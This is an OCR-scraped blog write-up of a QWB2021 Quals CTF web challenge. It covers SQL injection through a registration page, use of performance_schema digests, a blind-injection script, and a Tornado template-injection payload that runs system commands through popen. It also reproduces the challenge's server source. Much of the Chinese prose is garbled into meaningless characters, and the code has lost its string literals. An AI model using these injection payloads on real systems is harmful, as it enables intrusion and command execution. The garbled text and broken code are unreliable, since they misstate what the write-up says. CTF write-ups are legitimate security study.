[QWB2021 Quals]BE L FENZ

Arnoldqqq F 2021-06-19 04:01:51 KA 691 ek

N ERL: cff

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/weixin_43610673/article/details/118040597

FERAL

22 guokelfiff wp: https://guokeya.github.io/post/SZkQ4b1G/

WA B hitps://www.anquanke.com/post/id/244153#h2-4

218 b TH B A e B R BOR B T AR R R R

fEbuu b T —ANEI, Hbuu b MIFMBEAIERK T, sqiEARENZE, BXMB—EHR R A Radminfl 7, FBUSHE L
B ELLARENBRIRK S EGA HE, BB TR,

(B ST407dT-0072-4241-2382-5641 101922 3e.noded buuoj.cn

login sucoess, but only admin can get flag

Dwts O @l () edand Goar Ooe t A ek o TeNEm @ vacss [ 8RN @ Max HackBar
Encoding ~ S0L - X353~ Other -

help: IS TAD TAIT.0072-4241.9389-564 110192236 node3 buuss cnlogin LhTUSErimesad Minkeasswe =g inoaass

https://blog.csdn.net/



https://blog.csdn.net/weixin_43610673
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_43610673/article/details/118040597
https://guokeya.github.io/post/SZkQ4b1G/
https://www.anquanke.com/post/id/244153#h2-4

BAERNERFEEEERER.

KB IR — NG FAHME, N pifEregister.php, fuzz— T RKIEIE T —LC5 1, F¢7&tables coluns,
Guokelfi{# F )& performance_schema.file_instances 5 2%t N ) B3 FE - #4%
BlintestBidE EE, B EXHBZ R Zvarllib /mysql/test/F . frm

hitps://blog.csdn.net/weixin_43610673

mysql& 4 F AT HIsqliE A) 2| performance_schema.events_statements_summary_by digest

[F1# select (DIGEST_TEXT) FROM performance_schema.events statements_summary by digest BJR[1RF|R 45

import requests

(1,50):
(130,-1,-1):

exit(9)

url

time.sleep(0.5)

r requests.get(url)

if in r.text:
print( (i),end )
break

else:
if( in r.text):

pass

else:

print(r.text)
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/register.php?username=test&password={% set return _ import_ ( ) . popen( ).read()%}
/register.php?username=test /var/lib/mysql-files/test&password=123

/good_job_my_ctfer.php?congratulations={% extends /var/lib/mysql-files/test%}
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import tornado.ioloop, tornado.web, tornado.options, pymysql, os, re

settings { : os.path.join(os.getcwd(), ),

db_username

db_password

class MainHandler(tornado.web.RequestHandler):

def get(self):
user self.get_secure_cookie(
if user user b
self.redirect( , permanent=True)
return

self.render(

class LoginHandler(tornado.web.RequestHandler):

def get(self):
username self.get_argument(
password self.get_argument(
if username password:
if self.get _secure_cookie(
self.finish(
return
if self.get secure_cookie( ) b
self.redirect( , permanent=True)
else:
self.redirect( , permanent=True)
else:
conn pymysql.connect( , db_username, db_password,
cursor = conn.cursor()
cursor.execute(
, password])
results cursor.fetchall()
if




if results[0][1]
self.set_secure_cookie(
cursor.close()
conn.commit()
conn.close()
self.redirect( , permanent=True)
return

else:
cursor.close()
conn.commit()
conn.close()
self.finish(

return
else:
cursor.close()
conn.commit()
conn.close()
self.finish(

return

class RegisterHandler(tornado.web.RequestHandler):

def get(self):

username self.get_argument(

password self.get_argument(

word_bans [ 5 5

ENS [ 5 5 5

for ban in word_bans:

if re.search(ban, username, re.IGNORECASE):
self.finish(

return

for ban in bans:
if ban in username:
self.finish(

return

username password:
self.render( )
return
if username
self.render(
return

conn pymysql.connect( , db_username, db_password,

cursor = conn.cursor()

try:

cursor.execute(

results cursor.fetchall()

if (results) 0:
self.finish(
conn.commit()
conn.close()
return

except:
conn.commit()
conn.close()




return

try:

cursor.execute(
, password])

conn.commit()
conn.close()
self.finish(
return

except:
conn.rollback()
conn.close()
self.finish(

return

class LogoutHandler(tornado.web.RequestHandler):

def get(self):
self.clear_all_cookies()
self.redirect( , permanent=True)

class AdminHandler(tornado.web.RequestHandler):

def get(self):
user self.get_secure_cookie(
if user user b
self.redirect( , permanent=True)
return

self.render(

class ImageHandler(tornado.web.RequestHandler):

def get(self):
user self.get_secure_cookie(
image_name self.get_argument(
if image_name:
self.redirect( , permanent=True)
return
else:
if user user b
self.redirect( , permanent=True)
return

if image_name.endswith( in image_name in image_name:
self.finish( )
return

image name = os.path.join(os.getcwd() , image_name)
with (image_name, ) as (f):
img = f.read()
self.set_header(
self.finish(img)
return

class SecretHandler(tornado.web.RequestHandler):




if (tornado.web.RequestHandler. template loaders):
for i in tornado.web.RequestHandler. template loaders:
tornado.web.RequestHandler. template loaders[i].reset()

msg self.get_argument(
bans []
for ban in bans:
if ban in msg:
self.finish(

return

with (

f.write(
f.flush()
self.render( )
if tornado.web.RequestHandler._template_loaders:

for i in tornado.web.RequestHandler. template loaders:
tornado.web.RequestHandler. template loaders[i].reset()

def make_app():

return tornado.web.Application([

(

, MainHandler),

, LoginHandler),

, LogoutHandler),

, RegisterHandler),

, AdminHandler),

, ImageHandler),

, SecretHandler),

, MainHandler)], settings)

if _ _name__

app make_app()
app.listen(8000)

tornado.ioloop.IOLoop.current().start()

print( )
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